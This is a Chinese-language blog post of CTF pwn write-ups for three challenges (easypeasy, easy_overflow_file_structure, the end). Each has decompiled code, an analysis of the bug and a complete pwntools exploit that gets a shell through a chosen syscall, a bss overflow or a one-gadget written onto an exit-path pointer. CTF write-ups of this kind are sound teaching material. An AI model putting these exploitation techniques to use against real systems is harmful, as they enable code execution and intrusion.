23R3F's Blog

pwn题骚东西

字数统计: 2.1k阅读时长: 10 min
2018/11/02 Share

有的时候遇到一两题蛮有意思的骚pwn题,但又不方便分类,就开一篇专门记一下一些有趣的pwn题吧

easypeasy

这题是BSides Delhi CTF 2018 writeup的一题pwn

还算挺新颖的简单题

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found****
NX:       NX enabled****
PIE:      No PIE (0x400000) 

程序的主要逻辑主要是让用户输入各个寄存器的值,然后在进行syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
void __noreturn child()
{
__int64 v0; // [rsp+0h] [rbp-40h]
__int64 v1; // [rsp+8h] [rbp-38h]
__int64 v2; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
__int64 v4; // [rsp+20h] [rbp-20h]
__int64 v5; // [rsp+28h] [rbp-18h]
__int64 v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
signal(14, (__sighandler_t)handler);//超时触发14信号,从而执行handler
while ( 1 )
{
do
{
get_obj(&v0);
obj = v0;
qword_6010A8 = v1;//将各个寄存器的值存入bss段中
qword_6010B0 = v2;
qword_6010B8 = v3;
qword_6010C0 = v4;
qword_6010C8 = v5;
qword_6010D0 = v6;
}
while ( (unsigned int)validate_syscall_obj(v0) );
raise(14);
}
}

__int64 __fastcall validate_syscall_obj(signed __int64 a1)
{
unsigned int v2; // [rsp+14h] [rbp-4h]
//输入的rax值为1,2,3,60的时候会退出第一个while循环,进行raise(14)引发signal
if ( a1 == 2 )
{
v2 = 0;
}
else if ( a1 > 2 )
{
if ( a1 == 3 )
{
v2 = 0;
}
else
{
if ( a1 != 60 )
return 1;
v2 = 0;
}
}
else if ( a1 )
{
if ( a1 != 1 )
return 1;
v2 = 0;
}
else
{
v2 = 0;
}
return v2;
}

这题的思路很简单,就是向各个寄存器的输送值,最后syscall exec(“/bin/sh”,0,0)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./easypeasy")

#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
p.recv()
else:
p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
p.recvuntil(s)
else:
p.recvuntil(s, timeout=timeout)
def sla(a,s):
p.sendlineafter(a,s)
def sda(a,s):
p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
binsh = 0x6010D0

ru("RAX: ")
sl("59")
ru("RDI: ")
sl(str(binsh))
ru("RSI: ")
sl(p64(0))
ru("RDX: ")
sl(p64(0))
ru("RCX: ")
sl(p64(1))
ru("R8: ")
sl(p64(1))
ru("R9: ")
sl(str(u64("/bin/sh\0")))#这里算是一个小坑吧
sleep(30)#通过暂停30秒引起handle的执行
getshell()

另外,这题我看别的大佬还有另一种解法,是通过open,read,write函数进行读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

def main():
#r = remote('35.200.228.122', 1337)
r = process("./easypeasy")
read(r, 0, 0x601000, 8)
r.sendline('./flag\x00')
open(r, 0x601000, 0)
read(r, 3, 0x601000, 24)
write(r, 1, 0x601000, 24)
print r.recv()
r.interactive()

def read(r, fd, buf, count):
r.sendlineafter('RAX: ', '0')
r.sendlineafter('RDI: ', str(fd))
r.sendlineafter('RSI: ', str(buf))
r.sendlineafter('RDX: ', str(count))
r.sendlineafter('RCX: ', '0')
r.sendlineafter('R8: ', '0')
r.sendlineafter('R9: ', '0')

def write(r, fd, buf, count):
r.sendlineafter('RAX: ', '1')
r.sendlineafter('RDI: ', str(fd))
r.sendlineafter('RSI: ', str(buf))
r.sendlineafter('RDX: ', str(count))
r.sendlineafter('RCX: ', '0')
r.sendlineafter('R8: ', '0')
r.sendlineafter('R9: ', '0')

def open(r, pathname, flags):
r.sendlineafter('RAX: ', '2')
r.sendlineafter('RDI: ', str(pathname))
r.sendlineafter('RSI: ', str(flags))
r.sendlineafter('RDX: ', '0')
r.sendlineafter('RCX: ', '0')
r.sendlineafter('R8: ', '0')
r.sendlineafter('R9: ', '0')

if __name__ == '__main__':
main()

easy_overflow_file_structure

这是 SUCTF招新赛的第四道pwn,总的漏洞利用难度不是很大,但是发现溢出这个过程比较难,一个函数逻辑硬是看了好久好久才能意识到溢出点:

程序一开始是这样的:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-1F40h]

init();
fd = fopen("./readme.txt", "r");
fgets(&s, 0x1F40, stdin);
su_server(&s);
fclose(fd);
return 0;
}

让你输入一大串东西,然后进入su_server函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
char *__fastcall su_server(const char *a1)
{
unsigned int v1; // eax
char v3; // [rsp+1Fh] [rbp-1h]

v1 = time(0LL);
srand(v1);
v3 = rand() % 0x80;
memset(&host, 0, 0x7FuLL);
memset(&username, 0, 0x7FuLL);
memset(&researchfield, 0, 0x7FuLL);
rand_num1 = v3;
rand_num2 = v3;
rand_num3 = v3;
if ( strncmp("GET / HTTP/1.1#", a1, 8uLL) )
__assert_fail("!strncmp(getMethod,http_header,sizeof(getMethod))", "main.c", 0x59u, "su_server");
lookForHeader("Host", a1, 0x1F40, &host, 0x7Fu);
lookForHeader("Username", a1, 0x1F40, &username, 0x7Fu);
lookForHeader("ResearchField", a1, 0x1F40, &researchfield, 0x7Fu);
if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
{
if ( fd->_flags == 0xDEADBEEF )
{
puts("66666");
secret();
}
fclose(fd);
fflush(stderr);
abort();
}
return response(&host, &username, &researchfield);
}

这个函数的逻辑就是把输入的那一大段的字符串,当做一个http的请求,然后根据关键词Host:xxxx# Username:xxxx# ResearchField:xxxxx#来区分三段字符串,分别把xxx内容放入bss段中对应的位置,xxx字符串长度不能超过127

处理这些操作的函数是lookForHeader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//lookForHeader(str, input, 0x1F40, &target, 0x7Fu)

str_len = strlen(str);
for ( i = 0; ; ++i )
{
result_len = 8000 - str_len;
if ( result_len <= i )
break;
if ( !strncmp((input + i), str, str_len) && *(i + str_len + input) == ':' )
{
for ( i += str_len + 1; i < 8000 && (*(i + input) == ' ' || *(i + input) == '\t'); ++i )
;
for ( j = i; j < 8000; ++j )
{
if ( *(j + input) == '#' )
{
if ( j - i + 1 <= 127 )
{
n_4 = i + input;
while ( n_4 < j + input )
{
v5 = target++;
v6 = n_4++;
*v5 = *v6;
}
*target = 0;
}
break;
}
}
}
}

这里是最骚的了,当时看了好久的逻辑,都觉得这个函数是完美的无漏洞函数,但实际上不是

而出问题的地方在函数开头这里:for ( i = 0; ; ++i )

这里会导致,如果输入的input中,有个多个Host:xxxx#的输入,那么for循环就还会继续,而也就会导致溢出,能往target的位置输入超过127个字符

只要利用了这一点,漏洞就很容易触发了

可以发现ResearchField在bss段的位置中,末尾很接近fd,而只要把fd指向的内容为0xDEADBEEF就可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.bss:000000000060217C                 db    ? ;
.bss:000000000060217D db ? ;
.bss:000000000060217E db ? ;
.bss:000000000060217F rand_num3 db ?
.bss:000000000060217F
.bss:0000000000602180 public fd
.bss:0000000000602180 ; FILE *fd
.bss:0000000000602180 fd dq ?
.bss:0000000000602180
.bss:0000000000602188 align 20h
.bss:00000000006021A0 public username
.bss:00000000006021A0 username db ? ;
.bss:00000000006021A0
.bss:00000000006021A1 db ? ;
.bss:00000000006021A2 db ? ;
------------------------------------------------------------
if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
{
if ( fd->_flags == 0xDEADBEEF )
{
puts("66666");
secret();
}
fclose(fd);
fflush(stderr);
abort();
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn4"
context.binary=bin_elf
#libc = ELF("./libc-2.23.so")
elf = ELF(bin_elf)
libc = elf.libc
if sys.argv[1] == "r":
p = remote("4xxxxx3",10002)
elif sys.argv[1] == "l":
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
#gdb.attach(p)
pause()
payload = "GET / HTTP/1.1#"
payload +="Host:"+"a"*0x7e+"#"
payload +="Username:"+p64(0xDEADBEEF)+"#"
payload +="ResearchField:"+"c"*0x7e+"#"
payload +="ResearchField:"+"aa"+p64(0x6021A0)+"#"
sl(payload)
print p.recv()
getshell()

the end

这是2018hctf的一题,有点骚东西

首先看一下这个保护机制:除了canary都开了

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序逻辑也很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

首先输出一个sleep函数的真实地址,很明显可以用来泄漏libc

接着一个for循环,实现五次向某个地址写入一个字节的数据

思路其实很明确,就是往一个地方写个one gadget,然后执行他

但问题是这里开了Full RELRO导致got表都不能修改了

这可咋办呢?

这里需要了解一波main函数退出时的过程:https://www.jianshu.com/p/c4f081d9f32d

简单来说,在执行exit的时候,存在很多细节的过程,我们需要一步步跟进函数内部去看它具体的执行了哪些东西

这题比较关键的地方是调试,由于开了PIE,这里就需要用到gef下的一个命令:pie breakpoint+偏移地址

可以发现:

exit–>__run_exit_handler–>__call_tls_dtors–>_dl_fini

这里call了一下rip+0x216414,也就是0x7f1cfc04ff48

1542445733809

而这个地址刚刚好是可写的,如果我们将它改成onegadget,那么就可以直接getshell了

要把这个地址跟libc_base相减,得出偏移为0x5f0f48

1542445923615

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from time import *
context.log_level = "debug"
bin_elf = "./the_end"
context.binary=bin_elf
libc = ELF("./libc64.so")
#libc = elf.libc
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("150.109.44.250",20002)
p.sendlineafter("Input your token:","hbRvaYClZuzb9gZkfcO9A4iIzDY5wEjg")
elif sys.argv[1] == "l":
p = process(bin_elf,env = {"LD_PRELOAD": "./libc64.so"})
#p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
#attach(p)
ru("here is a gift ")
leak = p.recv(14)
sleep = int(leak,16)
print hex(sleep)

libc.base = sleep-libc.symbols["sleep"]
one_gadget = libc.base+0x4526a#0x45216#0xf1147#0xf02a4
print "libc---->"+hex(libc.base)
print "one_gadget:",hex(one_gadget)

call = libc.base +0x5f0f48
print "call---->"+hex(call)

pause()
for i in xrange(5):
sd(p64(call+i))
sd(p64(one_gadget)[i])
print p64(one_gadget)[i]

pause()
getshell()

这个脚本打远程能成功,本地不能成功,玄学原因。。。

另外贴一下大佬的wp

suctf

CATALOG
  1. 1. easypeasy
  2. 2. easy_overflow_file_structure
  3. 3. the end
  4. 4. suctf